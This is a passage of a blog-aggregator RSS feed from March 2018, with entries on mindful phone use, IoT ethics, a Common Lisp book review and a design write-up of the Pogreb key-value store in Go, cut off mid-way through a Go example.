&lt;p&gt;Before bed, it is optimal to ensure your phone has blue light shifted such as Night shift (iOS) or Twilight (Android). The science on it’s benefits to sleep are &lt;a href="https://www.health.harvard.edu/staying-healthy/blue-light-has-a-dark-side"&gt;sketchy&lt;/a&gt; &lt;a href="https://cliradex.com/7-myths-facts-blue-light-eyes/"&gt;at&lt;/a&gt; &lt;a href="https://medicalxpress.com/news/2016-04-debunking-digital-eyestrain-blue-myths.html"&gt;best&lt;/a&gt; but from personal experience, it does reduce strain on my eyes compared to staring at a blue screen. When you’re used to a bright blue display, you don’t know any different. But trying to go back is impossible for me now.&lt;/p&gt;
&lt;p&gt;In my quest for a more peaceful digital experience, I stumbled across a tool called &lt;a href="https://inthemoment.io/"&gt;Moment&lt;/a&gt;. It’s an app that tracks your phone usage. It works by looking at your battery usage, which you are asked to screenshot each week. The photos are then automatically scanned by the app.&lt;/p&gt;
&lt;p&gt;&lt;img alt="My Homescreen" src="https://cdn-images-1.medium.com/max/2484/1*pgMkULYbNKEtX9L84MQWTw@2x.jpeg" /&gt;&lt;em&gt;My Homescreen&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As you may already know, I’m a huge fan of making data-driven decisions and believed this was a great way to gain some insight into how I am using my phone. Because I have only been using this for the past month, the data set is fairly limited and I think I have some false positives from leaving my phone unlocked and listening to audio from Youtube (I have yet to configure the excluded apps list). Nonetheless, over time this will build into a substantial data set I can draw sensible conclusions from. It will unlock answers to questions such as &lt;em&gt;“What apps do I go to first when I unlock my phone?”&lt;/em&gt; and &lt;em&gt;“What percentage of my time is taken up by social media in my 8-hour workday?”&lt;/em&gt;. Questions like these lead to inherently biased answers when asking one’s own self — because we all want to seem like a good person. Consider the “&lt;a href="https://en.wikipedia.org/wiki/Illusory_superiority#Driving_ability"&gt;I am a better driver than you&lt;/a&gt;” experiment and it quickly becomes apparent that we are not good judges of our own character. Automated applications will allow you to quickly gain insights and patterns you would never be able to see.&lt;/p&gt;
&lt;p&gt;The final conclusion I came to with all of these apps and settings is that ultimately &lt;strong&gt;I needed to be more mindful&lt;/strong&gt; of the purpose I had each time I went for my phone. I never considered my phone usage an issue; More that I could be using the time more effectively. Thinking about the task you want to accomplish will enable you to have a clearer vision of how achieve that objective. It doesn’t always have to be productive. Sometimes, the purpose of unlocking your phone will be to have a mindless scroll down the DailyMail app (a guilty pleasure of mine that is so mind-numbing they have started using it as an anaesthetic in some hospitals). Other times it will be to add a new task to your todo list. In any case, it’s fine. &lt;strong&gt;Just have something&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Do you have any other tips for achieving zen in the busy world of devices we now have? Comment below or tweet me &lt;a href="https://twitter.com/joshghent"&gt;@joshghent&lt;/a&gt;&lt;/p&gt;</description><author/><pubDate>Mon, 26 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">/zen-iphone/</guid></item><item><title>A too often forgotten problem with the Internet of Things</title><link>https://stop.zona-m.net/2018/03/a-too-often-forgotten-problem-with-the-internet-of-things/</link><description>&lt;p&gt;There is a good article at Medium about &lt;a href="https://medium.com/kickstarter/ethical-electronics-47be26d7d178?sf83970020=1"&gt;&amp;ldquo;Ethical Electronics&amp;rdquo;&lt;/a&gt;, that is the need for a MUCH more environmentally responsible design of the Internet of Things (IoT). The most relevant parts, which say everything but one thing, are these:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 25 Mar 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/a-too-often-forgotten-problem-with-the-internet-of-things/</guid></item><item><title>Q1 Hikes</title><link>https://faingezicht.com/photos/2018/03/25/hikes-q118/</link><description>A collection from the last few months around the Bay Area.

Friends moving to SF, family members visiting, and great weather are all good excuses for day trips around here.</description><author>Avy Faingezicht</author><pubDate>Sun, 25 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/03/25/hikes-q118/</guid></item><item><title>Book Review: ANSI Common Lisp</title><link>http://notes.eatonphil.com/book-review-ansi-common-lisp.html</link><description>&lt;h4 id="score:-4.5-/-5"&gt;Score: 4.5 / 5&lt;/h4&gt;&lt;p&gt;Paul Graham and his editor(s) are excellent. His prose is light and
easy to follow. The only awkward component of the book's organization
is that he tends to use a concept one section before explicitly
introducing and defining that concept. I'm not sure yet if this is a
good or bad thing.&lt;/p&gt;
&lt;h3 id="as-a-learning-resource"&gt;As a learning resource&lt;/h3&gt;&lt;p&gt;Among books recommended to potential Lispers, &lt;em&gt;ANSI Common Lisp&lt;/em&gt; is
typically written off. Graham's style of Lisp is called
"non-idiomatic". That's fair, both &lt;em&gt;ANSI Common Lisp&lt;/em&gt; and &lt;em&gt;On Lisp&lt;/em&gt;
feature aspects of Common Lisp that lend themselves to functional
programming. And as those of you who've read &lt;em&gt;Practical Common Lisp&lt;/em&gt;
know, Common Lisp (unlike Scheme) was not designed to be a functional
programming language. Ultimately &lt;em&gt;ANSI Common Lisp&lt;/em&gt; covers the same
topics &lt;em&gt;Practical Common Lisp&lt;/em&gt; does, if not more. But &lt;em&gt;ANSI Common
Lisp&lt;/em&gt; is better written, in less space, and with shorter examples.&lt;/p&gt;
&lt;p&gt;I'm impressed at Graham's ability to summarize. There is a graphic
illustrating symbols as a structure composed of a name, a value, a
function, a package, and a property list. Although other resources
(books and otherwise) mention symbols as having one or more of these
components, his graphic was the first representation that clicked for
me. He also provides clarity about packages being namespaces for
&lt;em&gt;names&lt;/em&gt; (symbols) not objects or functions.&lt;/p&gt;
&lt;p&gt;And toward the end of the book, there is a discussion on the
"instance" abstraction (relative to the class definitions themselves)
being more powerful than plain "objects" that carry around methods
themselves. This has been the single most useful discussion on the
implementation of object-oriented constructs I've read yet.&lt;/p&gt;
&lt;h3 id="digression-on-practical-common-lisp"&gt;Digression on Practical Common Lisp&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Practical Common Lisp&lt;/em&gt; is often called the best introduction to
Common Lisp. After reading both, I'd give &lt;em&gt;Practical Common Lisp&lt;/em&gt;
second place or call it a tie. The issue with &lt;em&gt;Practical Common Lisp&lt;/em&gt;
is that it takes too long to get anywhere and the practical chapters
themselves are just as much a slog. And for as big as it is,
&lt;em&gt;Practical Common Lisp&lt;/em&gt; still doesn't include some major (potentially
confusing) aspects of "modern" Common Lisp like ASDF, Quicklisp,
production deployment strategies, etc.&lt;/p&gt;
&lt;p&gt;Even after having read &lt;em&gt;Practical Common Lisp&lt;/em&gt; I wasn't really clear
how to pull together all the libraries I needed to get anything real
done (e.g. scripting against an HTTP API or interacting with a SQL
database). This is not to say that &lt;em&gt;Practical Common Lisp&lt;/em&gt; is a bad
book, it is a good book. But I definitely don't recommend reading it
without also reading &lt;em&gt;ANSI Common Lisp&lt;/em&gt;. And regardless, there are
still a few of those modern concepts neither book covers.&lt;/p&gt;</description><author>Notes on software development</author><pubDate>Sun, 25 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/book-review-ansi-common-lisp.html</guid></item><item><title>OCaml Speedrun! 🐫🐪</title><link>https://www.swyx.io/ocaml-speedrun-3f7g</link><description>&lt;p&gt;a guided walk through Jane Street's OCaml workshop&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sat, 24 Mar 2018 23:11:35 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/ocaml-speedrun-3f7g</guid></item><item><title>Some SnailLife Go client testing notes</title><link>https://liza.io/some-snaillife-go-client-testing-notes/</link><description>&lt;p&gt;I&amp;rsquo;ve started working on client tests, which have been getting very neglected compared to the server. I figured I&amp;rsquo;d write some quick notes on what I&amp;rsquo;ve done so far before continuing, before I forget.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 24 Mar 2018 17:08:54 GMT</pubDate><guid isPermaLink="true">https://liza.io/some-snaillife-go-client-testing-notes/</guid></item><item><title>The paradoxes of journalism, and the best way to (not) DeleteFacebook</title><link>https://stop.zona-m.net/2018/03/the-paradoxes-of-journalism-and-the-best-way-to-not-deletefacebook/</link><description>&lt;p&gt;Italian newspaper Repubblica interviewed Evgeny Morozov about the Cambridge Analityca scandal, and the related #deletefacebook case. Both the printed and the online version of the interview illustrate the pervasiveness and dangers of Big Data and Big Tech in more than one way. This is the paper version:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 24 Mar 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/the-paradoxes-of-journalism-and-the-best-way-to-not-deletefacebook/</guid></item><item><title>Three ways in which IoT is NOT harming the environment</title><link>https://stop.zona-m.net/2018/03/three-ways-in-which-iot-is-not-harming-the-environment/</link><description>&lt;p&gt;Did you know that connected devices are helping catch illegal poachers, save the bees, and more? Those appplications of the Internet of Things are explained in a great article&amp;hellip; with a wrong title.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 24 Mar 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/three-ways-in-which-iot-is-not-harming-the-environment/</guid></item><item><title>Stroll through DC</title><link>https://www.unsungnovelty.org/gallery/stroll-through-dc/</link><description/><author>unsungNovelty</author><pubDate>Sat, 24 Mar 2018 02:03:10 GMT</pubDate><guid isPermaLink="true">https://www.unsungnovelty.org/gallery/stroll-through-dc/</guid></item><item><title>Pogreb - key-value store for read-heavy workloads</title><link>https://artem.krylysov.com/blog/2018/03/24/pogreb-key-value-store/</link><description>&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;This post is outdated, please read the new design document on &lt;a class="reference external" href="https://github.com/akrylysov/pogreb/blob/master/docs/design.md" target="_blank"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;/aside&gt;
&lt;p&gt;A few months ago I released the first version of an embedded on-disk key-value store written in Go. The store is about 10 times faster than LevelDB for random lookups. I'll explain why it's faster, but first let's talk about the reason why I decided to create my own key-value store.&lt;/p&gt;
&lt;img alt="" class="align-center" src="https://akrylysov.github.io/pogreb/logo.svg" style="width: 300px;" /&gt;
&lt;section id="why-another-key-value-store"&gt;
&lt;h3&gt;Why another key-value store?&lt;a class="headerlink" href="#why-another-key-value-store" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I needed a store that could map keys to values with the following requirements:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The number of keys was large and I couldn't keep the items in memory (that would require switching to more expensive server instance type).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Low latency. I wanted to avoid network overhead if it was possible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I needed to rebuild the mapping once a day and then access it in read-only mode.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The sequential lookup performance wasn't important, all I cared about was random lookup performance.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are plenty of open-source key-value stores - the most popular are &lt;a class="reference external" href="https://github.com/google/leveldb" target="_blank"&gt;LevelDB&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/facebook/rocksdb" target="_blank"&gt;RocksDB&lt;/a&gt; and &lt;a class="reference external" href="http://www.lmdb.tech/doc/" target="_blank"&gt;LMDB&lt;/a&gt;. Also there are some key-value stores implemented in Go - e.g. &lt;a class="reference external" href="https://github.com/boltdb/bolt/" target="_blank"&gt;Bolt&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/syndtr/goleveldb/" target="_blank"&gt;goleveldb&lt;/a&gt; (port of LevelDB) and &lt;a class="reference external" href="https://github.com/dgraph-io/badger" target="_blank"&gt;BadgerDB&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I tried to use LevelDB and RocksDB in production, but unfortunately, the observed results didn't meet the performance requirements.&lt;/p&gt;
&lt;p&gt;The stores I mentioned above are not optimized for a specific use case - they are general-purpose solutions. For example, LevelDB supports range queries - allows iterating over keys in lexicographic order, supports caching, bloom filters and many other nice features, but I didn't need any of those features. The common implementation of key-value stores is based on tree algorithms. Usually it's B+ trees or LSM trees. Both data structures always require several I/O operations per lookup.&lt;/p&gt;
&lt;p&gt;A hash table with a constant average lookup time seemed like a better choice. At least in theory a hash table beats a tree for my use case, so I decided to implement a simple on-disk hash table and benchmark it against LevelDB.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="file-layout"&gt;
&lt;h3&gt;File layout&lt;a class="headerlink" href="#file-layout" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Pogreb uses two files to store keys and values.&lt;/p&gt;
&lt;section id="index-file"&gt;
&lt;h4&gt;Index file&lt;a class="headerlink" href="#index-file" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The index file holds the header followed by an array of buckets.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;code&gt;+----------+
| header   |
+----------+
| bucket 0 |
| ...      |
| bucket N |
+----------+&lt;/code&gt;&lt;/pre&gt;
&lt;section id="bucket"&gt;
&lt;h5&gt;Bucket&lt;a class="headerlink" href="#bucket" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;Each bucket is an array of slots plus an optional file pointer to an overflow bucket. The number of slots in a bucket is hardcoded to 28 - that is the maximum number of slots that is possible to fit in 512 bytes.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;code&gt;+------------------------+
| slot 0                 |
| ...                    |
| slot N                 |
+------------------------+
| overflow bucket offset |
+------------------------+&lt;/code&gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="slot"&gt;
&lt;h5&gt;Slot&lt;a class="headerlink" href="#slot" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;A slot contains the hash, the size of the key, the value size and a 64-bit offset of the key/value pair in the data file.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;code&gt;+------------------+
| key hash         |
+------------------+
| key size         |
+------------------+
| value size       |
+------------------+
| key/value offset |
+------------------+&lt;/code&gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="data-file"&gt;
&lt;h4&gt;Data file&lt;a class="headerlink" href="#data-file" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The data file stores keys, values, and overflow buckets.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="algorithm"&gt;
&lt;h3&gt;Algorithm&lt;a class="headerlink" href="#algorithm" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Pogreb uses the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Linear_hashing" target="_blank"&gt;Linear hashing&lt;/a&gt; algorithm which grows the index file one bucket at a time instead of rebuilding the whole hash table.&lt;/p&gt;
&lt;p&gt;Initially, the hash table contains a single bucket (&lt;em&gt;N=1&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Level &lt;em&gt;L&lt;/em&gt; (initially &lt;em&gt;L=0&lt;/em&gt;) represents the maximum number of buckets on a logarithmic scale the hash table can have. For example, a hash table with &lt;em&gt;L=0&lt;/em&gt; contains between 0 and 1 buckets; &lt;em&gt;L=3&lt;/em&gt; contains between 4 and 8 buckets.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;S&lt;/em&gt; is the index of the &amp;quot;split&amp;quot; bucket (initially &lt;em&gt;S=0&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Collisions are resolved using bucket chaining method. Overflow buckets are stored in the data file and form a linked list.&lt;/p&gt;
&lt;section id="lookup"&gt;
&lt;h4&gt;Lookup&lt;a class="headerlink" href="#lookup" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Position of the bucket in the index file is calculated by applying a hash function to the key:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;code&gt;           Index file
          +----------+
          | bucket 0 |                 Bucket
          | ...      |    +------------------------------+
h(key) -&amp;gt; | bucket X | -&amp;gt; | slot 0 ... slot Y ... slot N |
          | ...      |    +------------------------------+
          | bucket N |                    |
          +----------+                    |
                                          |
                                          v
                                      Data file
                                    +-----------+
                                    | key-value |
                                    +-----------+&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get the position of the bucket:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Hash the key (Pogreb uses the 32-bit version of MurmurHash3).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use 2&lt;sup&gt;L&lt;/sup&gt; bits of the hash to get the position of the bucket - &lt;span class="docutils literal"&gt;hash % math.Pow(2, L)&lt;/span&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the calculated position comes before the split bucket &lt;em&gt;S&lt;/em&gt;, the position is &lt;span class="docutils literal"&gt;hash % math.Pow(2, L+1)&lt;/span&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The lookup function reads a bucket at the given position from the index file and performs a linear search to find a slot with the required hash. If the bucket doesn't contain a slot with the required hash, but the pointer to the overflow bucket is non-zero, the overflow bucket is checked. The process continues until the required slot is found or until there is no more overflow buckets for the given key. Once a slot with the required key is found,
pogreb reads the key/value pair from the data file.&lt;/p&gt;
&lt;p&gt;The average lookup requires two I/O operations - one is to find a slot in the index file and another one is to read the key and value from the data file.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="insertion"&gt;
&lt;h4&gt;Insertion&lt;a class="headerlink" href="#insertion" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Insertion is performed by adding the key/value pair to the data file and updating a bucket in the index file. If the bucket has all of its slots occupied, a new overflow bucket is created in the data file.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="split"&gt;
&lt;h4&gt;Split&lt;a class="headerlink" href="#split" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;When the number of items in the hash table exceeds the load factor threshold (70%), the split operation is performed on the split bucket &lt;em&gt;S&lt;/em&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;A new bucket is allocated at the end of the index file.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The split bucket index &lt;em&gt;S&lt;/em&gt; is incremented.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If &lt;em&gt;S&lt;/em&gt; points to 2&lt;sup&gt;L&lt;/sup&gt;, &lt;em&gt;S&lt;/em&gt; is reset to 0 and &lt;em&gt;L&lt;/em&gt; is incremented.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The items from the old split bucket are separated between the newly allocated bucket and the old split bucket by recalculating the positions of the keys in the hash table.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The number of buckets &lt;em&gt;N&lt;/em&gt; is incremented.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="removal"&gt;
&lt;h4&gt;Removal&lt;a class="headerlink" href="#removal" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The removal operation lookups the bucket by key, removes the slot from the bucket, overwrites the bucket and then adds the offset of the key/value pair to the free list.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="free-list"&gt;
&lt;h4&gt;Free list&lt;a class="headerlink" href="#free-list" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Pogreb maintains a list of blocks freed from the data file. The insertion operation tries to find a free block in the free list first before extending the data file. The free list implementation uses the &amp;quot;best-fit&amp;quot; algorithm for allocations. The free list can perform basic defragmentation by merging the adjacent free blocks.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="choosing-the-right-load-factor"&gt;
&lt;h4&gt;Choosing the right load factor&lt;a class="headerlink" href="#choosing-the-right-load-factor" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The load factor is the ratio of the number of current items in the hash table to the number of total slots available. The load factor determines the point when the hash table should grow the index file. If the load factor is too large it can lead to a big number of overflow buckets. At the same time, a small load factor wastes a lot of space in the index file, which can also be a bad thing for the hash table performance because it leads to a poor caching.&lt;/p&gt;
&lt;p&gt;For example, Python's &lt;span class="docutils literal"&gt;dict&lt;/span&gt; load factor equals to ~66%, Java's &lt;span class="docutils literal"&gt;HashMap&lt;/span&gt; uses 75% by default, in Go's &lt;span class="docutils literal"&gt;map&lt;/span&gt; it's 65%.&lt;/p&gt;
&lt;p&gt;Here is the benchmark results for different load factor values:&lt;/p&gt;
&lt;table&gt;
&lt;colgroup&gt;
&lt;col style="width: 33.3%;" /&gt;
&lt;col style="width: 33.3%;" /&gt;
&lt;col style="width: 33.3%;" /&gt;
&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th class="head"&gt;&lt;p&gt;load factor&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;reads per second&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;index size (MB)&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.4&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;909488&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;45&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.5&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;908071&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;35&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.6&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;909977&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;30&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.65&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;921098&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;27.5&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.7&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;strong&gt;921432&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;25&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.75&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;910038&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;23.5&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.8&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;862662&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;22&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;p&gt;0.9&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;731267&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;19.5&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;span class="docutils literal"&gt;0.7&lt;/span&gt; is a clear winner here.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="memory-mapped-file"&gt;
&lt;h3&gt;Memory-mapped file&lt;a class="headerlink" href="#memory-mapped-file" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Both index and data files are stored entirely on disk. The files are mapped into the process's virtual memory space using the &lt;span class="docutils literal"&gt;mmap&lt;/span&gt; syscall on Unix-like operating systems or using the &lt;span class="docutils literal"&gt;CreateFileMapping&lt;/span&gt; WinAPI function on Windows.&lt;/p&gt;
&lt;p&gt;Switching from a regular file I/O to mmap for lookup operations gave nearly 100% performance boost.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="durability"&gt;
&lt;h3&gt;Durability&lt;a class="headerlink" href="#durability" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Pogreb makes an important assumption - it assumes that all 512-byte sector disk writes are atomic. Each bucket is precisely 512 bytes and all allocations in the data file are 512-byte aligned. The insertion operation doesn't overwrite the old data in the data file - it writes a new key/value pair first, then updates the bucket in-place in the index file. If both operations are successful, the space allocated by the old key/value is added to the free list.&lt;/p&gt;
&lt;p&gt;Pogreb doesn't flush changes to disk (fsync operation) automatically. Data that is not flushed may be lost in case of power loss. However, application crash shouldn't cause any issues. There is an option to make Pogreb fsync changes to disk after each write - set &lt;span class="docutils literal"&gt;BackgroundSyncInterval&lt;/span&gt; to &lt;span class="docutils literal"&gt;&lt;span class="pre"&gt;-1&lt;/span&gt;&lt;/span&gt;. Alternatively &lt;span class="docutils literal"&gt;DB.Sync&lt;/span&gt; can be used at any time to force the OS to write the data to disk.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="concurrency"&gt;
&lt;h3&gt;Concurrency&lt;a class="headerlink" href="#concurrency" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Pogreb supports multiple concurrent readers and a single writer - write operations are guarded with a mutex.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="api"&gt;
&lt;h3&gt;API&lt;a class="headerlink" href="#api" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The API is similar to the LevelDB API - it provides methods like &lt;span class="docutils literal"&gt;Put&lt;/span&gt;, &lt;span class="docutils literal"&gt;Get&lt;/span&gt;, &lt;span class="docutils literal"&gt;Has&lt;/span&gt;, &lt;span class="docutils literal"&gt;Delete&lt;/span&gt; and supports iteration over the key/value pairs (the &lt;span class="docutils literal"&gt;Items&lt;/span&gt; method):&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;log&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;github.com/akrylysov/pogreb&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c1"&gt;// Opening a database.&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pogreb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;example&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
